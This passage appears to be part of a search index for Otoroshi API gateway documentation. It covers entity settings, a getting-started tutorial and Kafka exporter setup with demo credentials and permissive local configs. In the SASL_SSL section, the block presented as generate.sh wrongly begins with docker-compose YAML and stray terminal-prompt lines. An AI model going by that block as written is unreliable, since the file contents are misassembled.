client).\n* `Security headers`:\n* `Utility headers`:\n* `Matching Headers`: specify headers that MUST be present on client request to route it (pre routing). Useful to implement versioning.\n* `Headers verification`: verify that some headers has a specific value (post routing)\n\n### Additional settings \n\n* `OpenAPI`: specify an open API descriptor. Useful to display the documentation\n* `Tags`: specify tags for the service\n* `Metadata`: specify metadata for the service. Useful for analytics\n* `IP allowed list`: IP address that can access the service\n* `IP blocklist`: IP address that cannot access the service\n\n### Canary mode\n\n* `Enabled`: Canary mode enabled\n* `Traffic split`: Ratio of traffic that will be sent to canary targets. For instance, if traffic is at 0.2, for 10 request, 2 request will go on canary targets and 8 will go on regular targets.\n* `Targets`: The list of target that Otoroshi will proxy and expose through the subdomain defined before. Otoroshi will do round-robin load balancing between all those targets with circuit breaker mecanism to avoid cascading failures\n * `Target`:\n * `Targets root`: Otoroshi will append this root to any target choosen. If the specified root is '/api/foo', then a request to https://yyyyyyy/bar will actually hit https://xxxxxxxxx/api/foo/bar\n* `Campaign stats`:\n* `Use canary targets as standard targets`:\n\n### Healthcheck settings\n\n* `HealthCheck enabled`: to help failing fast, you can activate healthcheck on a specific URL.\n* `HealthCheck url`: the URL to check. Should return an HTTP 200 response. You can also respond with an 'Opun-Health-Check-Logic-Test-Result' header set to the value of the 'Opun-Health-Check-Logic-Test' request header + 42. to make the healthcheck complete.\n\n### Fault injection\n\n* `User facing app.`: if service is set as user facing, Snow Monkey can be configured to not being allowed to create outage on them.\n* `Chaos enabled`: activate or deactivate chaos setting on this service descriptor.\n\n### Custom errors template\n\n* `40x template`: html template displayed when 40x error occurred\n* `50x template`: html template displayed when 50x error occurred\n* `Build mode template`: html template displayed when the build mode is enabled\n* `Maintenance mode template`: html template displayed when the maintenance mode is enabled\n* `Custom messages`: override error message one by one\n\n### Request transformation\n\nThis part has been deprecated and moved to the plugin section.\n\n### Plugins\n\n* `Plugins`:\n \n * `Inject default config`: injects, if present, the default configuration of a selected plugin in the configuration object\n * `Documentation`: link to the documentation website of the plugin\n * `show/hide config. panel`: shows and hides the plugin panel which contains the plugin description and configuration\n* `Excluded patterns`: by default, when plugins are enabled, everything pass in. But sometimes you need to exclude something, so just add regex to matching path you want to exlude.\n* `Configuration`: the configuration of each enabled plugin, split by names and grouped in the same configuration object."},{"name":"service-groups.md","id":"/entities/service-groups.md","url":"/entities/service-groups.html","title":"Service groups","content":"# Service groups\n\nA service group is composed of an unique `id`, a `Group name`, a `Group description`, an `Organization` and a `Team`. As all Otoroshi resources, a service group have a list of tags and metadata associated.\n\n@@@ div { .centered-img }\n\n@@@\n\nThe first instinctive usage of service group is to group a list of services. \n\nWhen it's done, you can authorize an api key on a specific group. Instead of authorize an api key for each service, you can regroup a list of services together, and give authorization on the group (read the page on the api keys and the usage of the `Authorized on.` field).\n\n## Access to the list of service groups\n\nTo visualize and edit the list of groups, you can navigate to your instance on the `https://otoroshi.xxxxx/bo/dashboard/groups` route or click on the cog icon and select the Service groups button.\n\nOnce on the page, you can create a new item, edit an existing service group or delete an existing one.\n\n> When a service group is deleted, the resources associated are not deleted. On the other hand, the service group of associated resources is let empty.\n\n"},{"name":"tcp-services.md","id":"/entities/tcp-services.md","url":"/entities/tcp-services.html","title":"TCP services","content":"# TCP services\n\nTCP service are special kind of otoroshi services meant to proxy pure TCP connections (ssh, database, http, etc)\n\n## Global information\n\n* `Id`: generated unique identifier\n* `TCP service name`: the name of your TCP service\n* `Enabled`: enable and disable the service\n* `TCP service port`: the listening port\n* `TCP service interface`: network interface listen by the service\n* `Tags`: list of tags associated to the service\n* `Metadata`: list of metadata associated to the service\n\n## TLS\n\nthis section controls the TLS exposition of the service\n\n* `TLS mode`\n * `Disabled`: no TLS\n * `PassThrough`: as the target exposes TLS, the call will pass through otoroshi and use target TLS\n * `Enabled`: the service will be exposed using TLS and will chose certificate based on SNI\n* `Client Auth.`\n * `None` no mTLS needed to pass\n * `Want` pass with or without mTLS\n * `Need` need mTLS to pass\n\n## Server Name Indication (SNI)\n\nthis section control how SNI should be treated\n\n* `SNI routing enabled`: if enabled, the server will use the SNI hostname to determine which certificate to present to the client\n* `Forward to target if no SNI match`: if enabled, a call without any SNI match will be forward to the target\n* `Target host`: host of the target called if no SNI\n* `Target ip address`: ip of the target called if no SNI\n* `Target port`: port of the target called if no SNI\n* `TLS call`: encrypt the communication with TLS\n\n## Rules\n\nfor any listening TCP proxy, it is possible to route to multiple targets based on SNI or extracted http host (if proxying http)\n\n* `Matching domain name`: regex used to filter the list of domains where the rule will be applied\n* `Target host`: host of the target\n* `Target ip address`: ip of the target\n* `Target port`: port of the target\n* `TLS call`: enable this flag if the target is exposed using TLS\n"},{"name":"teams.md","id":"/entities/teams.md","url":"/entities/teams.html","title":"Teams","content":"# Teams\n\nIn Otoroshi, all resources are attached to an `Organization` and a `Team`. \n\nA team is composed of an unique `id`, a `name`, a `description` and an `Organization`. As all Otoroshi resources, a Team have a list of tags and metadata associated.\n\nA team have an unique organization and can be use on multiples resources (services, api keys, etc ...).\n\nA connected user on Otoroshi UI has a list of teams and organizations associated. It can be helpful when you want restrict the rights of a connected user.\n\n@@@ div { .centered-img }\n\n@@@\n\n## Access to the list of teams\n\nTo visualize and edit the list of teams, you can navigate to your instance on the `https://otoroshi.xxxxxx/bo/dashboard/teams` route or click on the cog icon and select the teams button.\n\nOnce on the page, you can create a new item, edit an existing team or delete an existing one.\n\n> When a team is deleted, the resources associated are not deleted. On the other hand, the team of associated resources is let empty.\n\n## Entities location\n\nAny otoroshi entity has a location property (`_loc` when serialized to json) explaining where and by whom the entity can be seen. \n\nAn entity can be part of multiple teams in an organization\n\n```javascript\n{\n \"_loc\": {\n \"tenant\": \"tenant-1\",\n \"teams\": [\n \"team-1\",\n \"team-2\"\n ]\n }\n ...\n}\n```\n\nor all teams\n\n```javascript\n{\n \"_loc\": {\n \"tenant\": \"tenant-1\",\n \"teams\": [\n \"*\"\n ]\n }\n ...\n}\n```"},{"name":"features.md","id":"/features.md","url":"/features.html","title":"Features","content":"# Features\n\n**Traffic Management**\n\n* Can proxy any HTTP(s) service (apis, webapps, websocket, etc)\n* Can proxy any TCP service (app, database, etc)\n* Can proxy any GRPC service\n* Multiple load-balancing options: \n * RoundRobin\n * Random, Sticky\n * Ip address hash\n * Best Response Time\n* Distributed in-flight request limiting\t\n* Distributed rate limiting \n* End-to-end HTTP/1.1 support\n* End-to-end H2 support\n* End-to-end H3 support\n* Traffic mirroring\n* Traffic capture\n* Canary deployments\n* Relay routing \n* Tunnels for easier network exposition\n* Error templates\n\n**Routing**\n\n* Router can support ten of thousands of concurrent routes\n* Router support path params extraction (can be regex validated)\n* Routing based on \n * method\n * hostname (exact, wildcard)\n * path (exact, wildcard)\n * header values (exact, regex, wildcard)\n * query param values (exact, regex, wildcard)\n* Support full url rewriting\n\n**Routes customization**\n\n* Dozens of built-in middlewares (policies/plugins) \n * circuit breakers\n * automatic retries\n * buffering\n * gzip\n * headers manipulation\n * cors\n * body transformation\n * graphql gateway\n * etc \n* Support middlewares compiled to WASM (using extism)\n* Support Open Policy Agent policies for traffic control\n* Write your own custom middlewares\n * in scala deployed as jar files\n * in whatever language you want that can be compiled to WASM\n\n**Routes Monitoring**\n\n* Active healthchecks\n* Route state for the last 90 days\n* Calls tracing using W3C trace context\n* Export alerts and events to external database\n * file\n * S3\n * elastic\n * pulsar\n * kafka\n * webhook\n * mailer\n * logger\n* Real-time traffic metrics\n* Real-time traffic metrics (Datadog, Prometheus, StatsD)\n\n**Services discovery**\n\n* through DNS\n* through Eureka 2\n* through Kubernetes API\n* through custom otoroshi protocol\n\n**API security**\n\n* Access management with apikeys and quotas\n* Automatic apikeys secrets rotation\n* HTTPS and TLS\n* End-to-end mTLS calls \n* Routing constraints\n* Routing restrictions\n* JWT tokens validation and manipulation\n * can support multiple validator on the same routes\n\n**Administration UI**\n\n* Manage and organize all resources\n* Secured users access with Authentication module\n* Audited users actions\n* Dynamic changes at runtime without full reload\n* Test your routes without any external tools\n\n**Webapp authentication and security**\n\n* OAuth2.0/2.1 authentication\n* OpenID Connect (OIDC) authentication\n* LDAP authentication\n* JWT authentication\n* OAuth 1.0a authentication\n* SAML V2 authentication\n* Internal users management\n* Secret vaults support\n * Environment variables\n * Hashicorp Vault\n * Azure key vault\n * AWS secret manager\n * Google secret manager\n * Kubernetes secrets\n * Izanami\n * Spring Cloud Config\n * Http\n * Local\n\n**Certificates management**\n\n* Dynamic TLS certificates store \n* Dynamic TLS termination\n* Internal PKI\n * generate self signed certificates/CAs\n * generate/sign certificates/CAs/subCAs\n * AIA\n * OCSP responder\n * import P12/certificate bundles\n* ACME / Let's Encrypt support\n* On-the-fly certificate generation based on a CA certificate without request loss\n* JWKS exposition for public keypair\n* Default certificate\n* Customize mTLS trusted CAs in the TLS handshake\n\n**Clustering**\n\n* based on a control plane/data plane pattern\n* encrypted communication\n* backup capabilities to allow data plane to start without control plane reachable to improve resilience\n* relay routing to forward traffic from one network zone to others\n* distributed web authentication accross nodes\n\n**Performances and testing**\n\n* Chaos engineering\n* Horizontal Scalability or clustering\n* Canary testing\n* Http client in UI\n* Request debugging\n* Traffic capture\n\n**Kubernetes integration**\n\n* Standard Ingress controller\n* Custom Ingress controller\n * Manage Otoroshi resources from Kubernetes\n* Validation of resources via webhook\n* Service Mesh for easy service-to-service communication (based on Kubernetes sidecars)\n\n**Organize**\n\n* multi-organizations\n* multi-teams\n* routes groups\n\n**Developpers portal**\n\n* Using @link:[Daikoku](https://maif.github.io/daikoku/manual/index.html) { open=new }\n"},{"name":"getting-started.md","id":"/getting-started.md","url":"/getting-started.html","title":"Getting Started","content":"# Getting Started\n\n- [Protect your service with Otoroshi ApiKey](#protect-your-service-with-otoroshi-apikey)\n- [Secure your web app in 2 calls with an authentication](#secure-your-web-app-in-2-calls-with-an-authentication)\n\nDownload the latest jar of Otoroshi\n```sh\ncurl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'\n```\n\nOnce downloading, run Otoroshi.\n```sh\njava -Dotoroshi.adminPassword=password -jar otoroshi.jar \n```\n\nYes, that command is all it took to start it up.\n\n## Protect your service with Otoroshi ApiKey\n\n
\nRoute plugins:\nApikeys\n
\n\nCreate a new route, exposed on `http://myapi.oto.tools:8080`, which will forward all requests to the mirror `https://mirror.otoroshi.io`.\n\n```sh\ncurl -X POST http://otoroshi-api.oto.tools:8080/api/routes \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"name\": \"myapi\",\n \"frontend\": {\n \"domains\": [\"myapi.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"mirror.otoroshi.io\",\n \"port\": 443,\n \"tls\": true\n }\n ]\n },\n \"plugins\": [\n {\n \"plugin\": \"cp:otoroshi.next.plugins.ApikeyCalls\",\n \"enabled\": true,\n \"config\": {\n \"validate\": true,\n \"mandatory\": true,\n \"update_quotas\": true\n }\n }\n ]\n}\nEOF\n```\n\nNow that we have created our route, let’s see if our request reaches our upstream service. \nYou should receive an error from Otoroshi about a missing api key in our request.\n\n```sh\ncurl 'http://myapi.oto.tools:8080'\n```\n\nIt looks like we don’t have access to it. Create your first api key with a quota of 10 calls by day and month.\n\n```sh\ncurl -X POST 'http://otoroshi-api.oto.tools:8080/api/apikeys' \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"clientId\": \"my-first-apikey-id\",\n \"clientSecret\": \"my-first-apikey-secret\",\n \"clientName\": \"my-first-apikey\",\n \"description\": \"my-first-apikey-description\",\n \"authorizedGroup\": \"default\",\n \"enabled\": true,\n \"throttlingQuota\": 10,\n \"dailyQuota\": 10,\n \"monthlyQuota\": 10\n}\nEOF\n```\n\nCall your api with the generated apikey.\n\n```sh\ncurl 'http://myapi.oto.tools:8080' -u my-first-apikey-id:my-first-apikey-secret\n```\n\n```json\n{\n \"method\": \"GET\",\n \"path\": \"/\",\n \"headers\": {\n \"host\": \"mirror.otoroshi.io\",\n \"accept\": \"*/*\",\n \"user-agent\": \"curl/7.64.1\",\n \"authorization\": \"Basic bXktZmlyc3QtYXBpLWtleS1pZDpteS1maXJzdC1hcGkta2V5LXNlY3JldA==\",\n \"otoroshi-request-id\": \"1465298507974836306\",\n \"otoroshi-proxied-host\": \"myapi.oto.tools:8080\",\n \"otoroshi-request-timestamp\": \"2021-11-29T13:36:02.888+01:00\",\n },\n \"body\": \"\"\n}\n```\n\nCheck your remaining quotas\n\n```sh\ncurl 'http://myapi.oto.tools:8080' -u my-first-apikey-id:my-first-apikey-secret --include\n```\n\nThis should output these following Otoroshi headers\n\n```json\nOtoroshi-Daily-Calls-Remaining: 6\nOtoroshi-Monthly-Calls-Remaining: 6\n```\n\nKeep calling the api and confirm that Otoroshi is sending you an apikey exceeding quota error\n\n\n```json\n{ \n \"Otoroshi-Error\": \"You performed too much requests\"\n}\n```\n\nWell done, you have secured your first api with the apikeys system with limited call quotas.\n\n## Secure your web app in 2 calls with an authentication\n\n
\nRoute plugins:\nAuthentication\n
\n\nCreate an in-memory authentication module, with one registered user, to protect your service.\n\n```sh\ncurl -X POST 'http://otoroshi-api.oto.tools:8080/api/auths' \\\n-H \"Otoroshi-Client-Id: admin-api-apikey-id\" \\\n-H \"Otoroshi-Client-Secret: admin-api-apikey-secret\" \\\n-H 'Content-Type: application/json; charset=utf-8' \\\n-d @- <<'EOF'\n{\n \"type\":\"basic\",\n \"id\":\"auth_mod_in_memory_auth\",\n \"name\":\"in-memory-auth\",\n \"desc\":\"in-memory-auth\",\n \"users\":[\n {\n \"name\":\"User Otoroshi\",\n \"password\":\"$2a$10$oIf4JkaOsfiypk5ZK8DKOumiNbb2xHMZUkYkuJyuIqMDYnR/zXj9i\",\n \"email\":\"user@foo.bar\",\n \"metadata\":{\n \"username\":\"roger\"\n },\n \"tags\":[\"foo\"],\n \"webauthn\":null,\n \"rights\":[{\n \"tenant\":\"*:r\",\n \"teams\":[\"*:r\"]\n }]\n }\n ],\n \"sessionCookieValues\":{\n \"httpOnly\":true,\n \"secure\":false\n }\n}\nEOF\n```\n\nThen create a service secure by the previous authentication module, which proxies `google.fr` on `webapp.oto.tools`.\n\n```sh\ncurl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"name\": \"myapi\",\n \"frontend\": {\n \"domains\": [\"myapi.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"google.fr\",\n \"port\": 443,\n \"tls\": true\n }\n ]\n },\n \"plugins\": [\n {\n \"plugin\": \"cp:otoroshi.next.plugins.AuthModule\",\n \"enabled\": true,\n \"config\": {\n \"pass_with_apikey\": false,\n \"auth_module\": null,\n \"module\": \"auth_mod_in_memory_auth\"\n }\n }\n ]\n}\nEOF\n```\n\nNavigate to http://webapp.oto.tools:8080, login with `user@foo.bar/password` and check that you're redirect to `google` page.\n\nWell done! You completed the discovery tutorial."},{"name":"communicate-with-kafka.md","id":"/how-to-s/communicate-with-kafka.md","url":"/how-to-s/communicate-with-kafka.html","title":"Communicate with Kafka","content":"# Communicate with Kafka\n\nEvery matching event can be sent to an [Apache Kafka topic](https://kafka.apache.org/).\n\n### SASL mechanism\n\nCreate a `docker-compose.yml` with the following content\n\n````yml\nversion: \"2\"\n\nservices:\n zookeeper:\n image: docker.io/bitnami/zookeeper:3.8\n ports:\n - \"2181:2181\"\n environment:\n - ALLOW_ANONYMOUS_LOGIN=yes\n kafka:\n image: docker.io/bitnami/kafka:3.2\n ports:\n - \"9092:9092\"\n environment:\n - KAFKA_CFG_ZOOKEEPER_CONNECT=zookeeper:2181\n - KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=INTERNAL:PLAINTEXT,CLIENT:SASL_PLAINTEXT\n - ALLOW_PLAINTEXT_LISTENER=yes\n - KAFKA_CFG_LISTENERS=INTERNAL://:9093,CLIENT://:9092\n - KAFKA_CFG_ADVERTISED_LISTENERS=INTERNAL://kafka:9093,CLIENT://kafka:9092\n - KAFKA_CFG_INTER_BROKER_LISTENER_NAME=INTERNAL\n - KAFKA_CLIENT_USERS=user\n - KAFKA_CLIENT_PASSWORDS=password\n\n depends_on:\n - zookeeper\n````\n\nLaunch the command to create the zookeeper and kafka containers\n\n````bash\ndocker-compose up -d\n````\n\nCreate a new exporter on your Otoroshi instance with the following values\n\n@@@ div { .centered-img }\n\n@@@\n\n### PLAINTEXT mechanism\n\nCreate a `docker-compose.yml` with the following content\n\n````yml\nversion: \"2\"\n\nservices:\n zookeeper:\n image: docker.io/bitnami/zookeeper:3.8\n ports:\n - \"2181:2181\"\n environment:\n - ALLOW_ANONYMOUS_LOGIN=yes\n kafka:\n image: docker.io/bitnami/kafka:3.2\n ports:\n - \"9092:9092\"\n environment:\n - KAFKA_CFG_ZOOKEEPER_CONNECT=zookeeper:2181\n - KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=INTERNAL:PLAINTEXT,CLIENT:PLAINTEXT\n - ALLOW_PLAINTEXT_LISTENER=yes\n - KAFKA_CFG_LISTENERS=INTERNAL://:9093,CLIENT://:9092\n - KAFKA_CFG_ADVERTISED_LISTENERS=INTERNAL://kafka:9093,CLIENT://kafka:9092\n - KAFKA_CFG_INTER_BROKER_LISTENER_NAME=INTERNAL\n\n depends_on:\n - zookeeper\n````\n\nLaunch the command to create the zookeeper and kafka containers\n\n````bash\ndocker-compose up -d\n````\n\nCreate a new exporter on your Otoroshi instance with the following values\n\n@@@ div { .centered-img }\n\n@@@\n\n### SSL mechanism\n\n````bash\nwget https://raw.githubusercontent.com/confluentinc/confluent-platform-security-tools/master/kafka-generate-ssl.sh\n````\n\n````bash\nchmod +x kafka-generate-ssl.sh\n````\n\nCreate a `docker-compose.yml` with the following content\n\n````yml\nversion: '3.5'\n\nservices:\n\n zookeeper:\n image: \"wurstmeister/zookeeper:latest\"\n ports:\n - \"2181:2181\"\n\n kafka:\n image: wurstmeister/kafka:2.12-2.2.0\n depends_on:\n - zookeeper\n ports:\n - \"9092:9092\"\n environment:\n KAFKA_ADVERTISED_LISTENERS: 'SSL://kafka:9092'\n KAFKA_LISTENERS: 'SSL://0.0.0.0:9092'\n KAFKA_AUTO_CREATE_TOPICS_ENABLE: 'true'\n KAFKA_ZOOKEEPER_CONNECT: 'zookeeper:2181'\n KAFKA_SSL_KEYSTORE_LOCATION: '/keystore/kafka.keystore.jks'\n KAFKA_SSL_KEYSTORE_PASSWORD: 'otoroshi'\n KAFKA_SSL_KEY_PASSWORD: 'otoroshi'\n KAFKA_SSL_TRUSTSTORE_LOCATION: '/truststore/kafka.truststore.jks'\n KAFKA_SSL_TRUSTSTORE_PASSWORD: 'otoroshi'\n KAFKA_SSL_ENDPOINT_IDENTIFICATION_ALGORITHM: ''\n KAFKA_CFG_SSL_ENDPOINT_IDENTIFICATION_ALGORITHM: ''\n KAFKA_SECURITY_INTER_BROKER_PROTOCOL: 'SSL'\n volumes:\n - ./truststore:/truststore\n - ./keystore:/keystore\n````\n\nLaunch the command to create the zookeeper and kafka containers\n\n````bash\ndocker-compose up -d\n````\n\nCreate a new exporter on your Otoroshi instance with the following values\n\n@@@ div { .centered-img }\n\n@@@\n\n### SASL_SSL mechanism\n\nGenerate the TLS certificates for the Kafka broker.\n\nCreate a file `generate.sh` with the following content and run the command\n\n````bash\nchmod +x generate.sh && ./generate.sh\n````\n\n````bash\n# Content of the generate.sh file\n\nversion: '3.5'\n\nservices:\n\n zookeeper:\n image: \"bitnami/zookeeper:latest\"\n ports:\n - \"2181:2181\"\n environment:\n - ALLOW_ANONYMOUS_LOGIN=yes\n\n kafka:\n image: bitnami/kafka:latest\n depends_on:\n - zookeeper\n ports:\n - '9092:9092'\n environment:\n ALLOW_PLAINTEXT_LISTENER: 'yes'\n KAFKA_ZOOKEEPER_PROTOCOL: 'PLAINTEXT'\n KAFKA_CFG_ZOOKEEPER_CONNECT: 'zookeeper:2181'\n KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP: 'INTERNAL:PLAINTEXT,CLIENT:SASL_SSL'\n KAFKA_CFG_LISTENERS: 'INTERNAL://:9093,CLIENT://:9092'\n KAFKA_INTER_BROKER_LISTENER_NAME: 'INTERNAL'\n KAFKA_CFG_ADVERTISED_LISTENERS: 'INTERNAL://kafka:9093,CLIENT://kafka:9092'\n KAFKA_CLIENT_USERS: 'user'\n KAFKA_CLIENT_PASSWORDS: 'password'\n KAFKA_CERTIFICATE_PASSWORD: 'otoroshi'\n KAFKA_TLS_TYPE: 'JKS'\n KAFKA_OPTS: \"-Djava.security.auth.login.config=/opt/kafka/kafka_server_jaas.conf\"\n volumes:\n - ./secrets/kafka_server_jaas.conf:/opt/kafka/kafka_server_jaas.conf\n - ./truststore/kafka.truststore.jks:/opt/bitnami/kafka/config/certs/kafka.truststore.jks:ro\n - ./keystore/kafka.keystore.jks:/opt/bitnami/kafka/config/certs/kafka.keystore.jks:ro\n 79966b@PMP00131  ~/Downloads/kafka_ssl_setup-master \n 79966b@PMP00131  ~/Downloads/kafka_ssl_setup-master  cat generate.sh\n#!/usr/bin/env bash\n\nset -e\n\nKEYSTORE_FILENAME=\"kafka.keystore.jks\"\nVALIDITY_IN_DAYS=3650\nDEFAULT_TRUSTSTORE_FILENAME=\"kafka.truststore.jks\"\nTRUSTSTORE_WORKING_DIRECTORY=\"truststore\"\nKEYSTORE_WORKING_DIRECTORY=\"keystore\"\nCA_CERT_FILE=\"ca-cert\"\nKEYSTORE_SIGN_REQUEST=\"cert-file\"\nKEYSTORE_SIGN_REQUEST_SRL=\"ca-cert.srl\"\nKEYSTORE_SIGNED_CERT=\"cert-signed\"\n\nfunction file_exists_and_exit() {\n echo \"'$1' cannot exist. Move or delete it before\"\n echo \"re-running this script.\"\n exit 1\n}\n\nif [ -e \"$KEYSTORE_WORKING_DIRECTORY\" ]; then\n file_exists_and_exit $KEYSTORE_WORKING_DIRECTORY\nfi\n\nif [ -e \"$CA_CERT_FILE\" ]; then\n file_exists_and_exit $CA_CERT_FILE\nfi\n\nif [ -e \"$KEYSTORE_SIGN_REQUEST\" ]; then\n file_exists_and_exit $KEYSTORE_SIGN_REQUEST\nfi\n\nif [ -e \"$KEYSTORE_SIGN_REQUEST_SRL\" ]; then\n file_exists_and_exit $KEYSTORE_SIGN_REQUEST_SRL\nfi\n\nif [ -e \"$KEYSTORE_SIGNED_CERT\" ]; then\n file_exists_and_exit $KEYSTORE_SIGNED_CERT\nfi\n\necho\necho \"Welcome to the Kafka SSL keystore and truststore generator script.\"\n\necho\necho \"First, do you need to generate a trust store and associated private key,\"\necho \"or do you already have a trust store file and private key?\"\necho\necho -n \"Do you need to generate a trust store and associated private key? [yn] \"\nread generate_trust_store\n\ntrust_store_file=\"\"\ntrust_store_private_key_file=\"\"\n\nif [ \"$generate_trust_store\" == \"y\" ]; then\n if [ -e \"$TRUSTSTORE_WORKING_DIRECTORY\" ]; then\n file_exists_and_exit $TRUSTSTORE_WORKING_DIRECTORY\n fi\n\n mkdir $TRUSTSTORE_WORKING_DIRECTORY\n echo\n echo \"OK, we'll generate a trust store and associated private key.\"\n echo\n echo \"First, the private key.\"\n echo\n echo \"You will be prompted for:\"\n echo \" - A password for the private key. Remember this.\"\n echo \" - Information about you and your company.\"\n echo \" - NOTE that the Common Name (CN) is currently not important.\"\n\n openssl req -new -x509 -keyout $TRUSTSTORE_WORKING_DIRECTORY/ca-key \\\n -out $TRUSTSTORE_WORKING_DIRECTORY/$CA_CERT_FILE -days $VALIDITY_IN_DAYS\n\n trust_store_private_key_file=\"$TRUSTSTORE_WORKING_DIRECTORY/ca-key\"\n\n echo\n echo \"Two files were created:\"\n echo \" - $TRUSTSTORE_WORKING_DIRECTORY/ca-key -- the private key used later to\"\n echo \" sign certificates\"\n echo \" - $TRUSTSTORE_WORKING_DIRECTORY/$CA_CERT_FILE -- the certificate that will be\"\n echo \" stored in the trust store in a moment and serve as the certificate\"\n echo \" authority (CA). Once this certificate has been stored in the trust\"\n echo \" store, it will be deleted. It can be retrieved from the trust store via:\"\n echo \" $ keytool -keystore -export -alias CARoot -rfc\"\n\n echo\n echo \"Now the trust store will be generated from the certificate.\"\n echo\n echo \"You will be prompted for:\"\n echo \" - the trust store's password (labeled 'keystore'). Remember this\"\n echo \" - a confirmation that you want to import the certificate\"\n\n keytool -keystore $TRUSTSTORE_WORKING_DIRECTORY/$DEFAULT_TRUSTSTORE_FILENAME \\\n -alias CARoot -import -file $TRUSTSTORE_WORKING_DIRECTORY/$CA_CERT_FILE\n\n trust_store_file=\"$TRUSTSTORE_WORKING_DIRECTORY/$DEFAULT_TRUSTSTORE_FILENAME\"\n\n echo\n echo \"$TRUSTSTORE_WORKING_DIRECTORY/$DEFAULT_TRUSTSTORE_FILENAME was created.\"\n\n # don't need the cert because it's in the trust store.\n rm $TRUSTSTORE_WORKING_DIRECTORY/$CA_CERT_FILE\nelse\n echo\n echo -n \"Enter the path of the trust store file. \"\n read -e trust_store_file\n\n if ! [ -f $trust_store_file ]; then\n echo \"$trust_store_file isn't a file. Exiting.\"\n exit 1\n fi\n\n echo -n \"Enter the path of the trust store's private key. \"\n read -e trust_store_private_key_file\n\n if ! [ -f $trust_store_private_key_file ]; then\n echo \"$trust_store_private_key_file isn't a file. Exiting.\"\n exit 1\n fi\nfi\n\necho\necho \"Continuing with:\"\necho \" - trust store file: $trust_store_file\"\necho \" - trust store private key: $trust_store_private_key_file\"\n\nmkdir $KEYSTORE_WORKING_DIRECTORY\n\necho\necho \"Now, a keystore will be generated. Each broker and logical client needs its own\"\necho \"keystore. This script will create only one keystore. Run this script multiple\"\necho \"times for multiple keystores.\"\necho\necho \"You will be prompted for the following:\"\necho \" - A keystore password. Remember it.\"\necho \" - Personal information, such as your name.\"\necho \" NOTE: currently in Kafka, the Common Name (CN) does not need to be the FQDN of\"\necho \" this host. However, at some point, this may change. As such, make the CN\"\necho \" the FQDN. Some operating systems call the CN prompt 'first / last name'\"\necho \" - A key password, for the key being generated within the keystore. Remember this.\"\n\n# To learn more about CNs and FQDNs, read:\n# https://docs.oracle.com/javase/7/docs/api/javax/net/ssl/X509ExtendedTrustManager.html\n\nkeytool -keystore $KEYSTORE_WORKING_DIRECTORY/$KEYSTORE_FILENAME \\\n -alias localhost -validity $VALIDITY_IN_DAYS -genkey -keyalg RSA\n\necho\necho \"'$KEYSTORE_WORKING_DIRECTORY/$KEYSTORE_FILENAME' now contains a key pair and a\"\necho \"self-signed certificate. Again, this keystore can only be used for one broker or\"\necho \"one logical client. Other brokers or clients need to generate their own keystores.\"\n\necho\necho \"Fetching the certificate from the trust store and storing in $CA_CERT_FILE.\"\necho\necho \"You will be prompted for the trust store's password (labeled 'keystore')\"\n\nkeytool -keystore $trust_store_file -export -alias CARoot -rfc -file $CA_CERT_FILE\n\necho\necho \"Now a certificate signing request will be made to the keystore.\"\necho\necho \"You will be prompted for the keystore's password.\"\nkeytool -keystore $KEYSTORE_WORKING_DIRECTORY/$KEYSTORE_FILENAME -alias localhost \\\n -certreq -file $KEYSTORE_SIGN_REQUEST\n\necho\necho \"Now the trust store's private key (CA) will sign the keystore's certificate.\"\necho\necho \"You will be prompted for the trust store's private key password.\"\nopenssl x509 -req -CA $CA_CERT_FILE -CAkey $trust_store_private_key_file \\\n -in $KEYSTORE_SIGN_REQUEST -out $KEYSTORE_SIGNED_CERT \\\n -days $VALIDITY_IN_DAYS -CAcreateserial\n# creates $KEYSTORE_SIGN_REQUEST_SRL which is never used or needed.\n\necho\necho \"Now the CA will be imported into the keystore.\"\necho\necho \"You will be prompted for the keystore's password and a confirmation that you want to\"\necho \"import the certificate.\"\nkeytool -keystore $KEYSTORE_WORKING_DIRECTORY/$KEYSTORE_FILENAME -alias CARoot \\\n -import -file $CA_CERT_FILE\nrm $CA_CERT_FILE # delete the trust store cert because it's stored in the trust store.\n\necho\necho \"Now the keystore's signed certificate will be imported back into the keystore.\"\necho\necho \"You will be prompted for the keystore's password.\"\nkeytool -keystore $KEYSTORE_WORKING_DIRECTORY/$KEYSTORE_FILENAME -alias localhost -import \\\n -file $KEYSTORE_SIGNED_CERT\n\necho\necho \"All done!\"\necho\necho \"Delete intermediate files? They are:\"\necho \" - '$KEYSTORE_SIGN_REQUEST_SRL': CA serial number\"\necho \" - '$KEYSTORE_SIGN_REQUEST': the keystore's certificate signing request\"\necho \" (that was fulfilled)\"\necho \" - '$KEYSTORE_SIGNED_CERT': the keystore's certificate, signed by the CA, and stored back\"\necho \" into the keystore\"\necho -n \"Delete? [yn] \"\nread delete_intermediate_files\n\nif [ \"$delete_intermediate_files\" == \"y\" ]; then\n rm $KEYSTORE_SIGN_REQUEST_SRL\n rm $KEYSTORE_SIGN_REQUEST\n rm $KEYSTORE_SIGNED_CERT\nfi\n````\n\nCreate, in the same repository, a repository named `secrets` with the following configuration.\n\n````bash \n# Content of ~/tmp/kafka/secrets/kafka_server_jaas.conf\n\nClient {\n org.apache.kafka.common.security.plain.PlainLoginModule required\n username=\"user\"\n password=\"password\";\n};\n````\n\nCreate a `docker-compose.yml` file with the following content.\n\n````bash\nversion: '3.5'\n\nservices:\n\n zookeeper:\n image: \"bitnami/zookeeper:latest\"\n ports:\n - \"2181:2181\"\n environment:\n - ALLOW_ANONYMOUS_LOGIN=yes\n\n kafka:\n image: bitnami/kafka:latest\n depends_on:\n - zookeeper\n ports:\n - '9092:9092'\n environment:\n ALLOW_PLAINTEXT_LISTENER: 'yes'\n 